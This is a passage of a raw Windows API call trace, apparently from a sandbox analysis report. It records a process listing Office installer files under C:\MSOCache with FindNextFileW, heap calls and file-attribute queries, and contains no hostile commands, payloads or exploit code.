dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6ec8 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc518 [0231.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.558] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6ee8 [0231.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc620 [0231.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.559] GetLastError () returned 0x12 [0231.559] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0231.559] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.559] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.560] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.560] GetLastError () returned 0x12 [0231.560] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0231.560] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0231.561] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0231.561] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0231.561] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0231.561] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.561] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0231.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0231.623] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0231.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fd690 [0231.623] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fd690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fd690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0231.623] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fd690) returned 1 [0231.623] NtClose (Handle=0x1ac) returned 0x0 [0231.623] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0231.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0231.623] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0231.623] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0231.742] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.742] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6f08 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc728 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6f28 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc830 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.742] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6f48 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fc938 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6f68 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fca40 [0231.743] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.743] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, 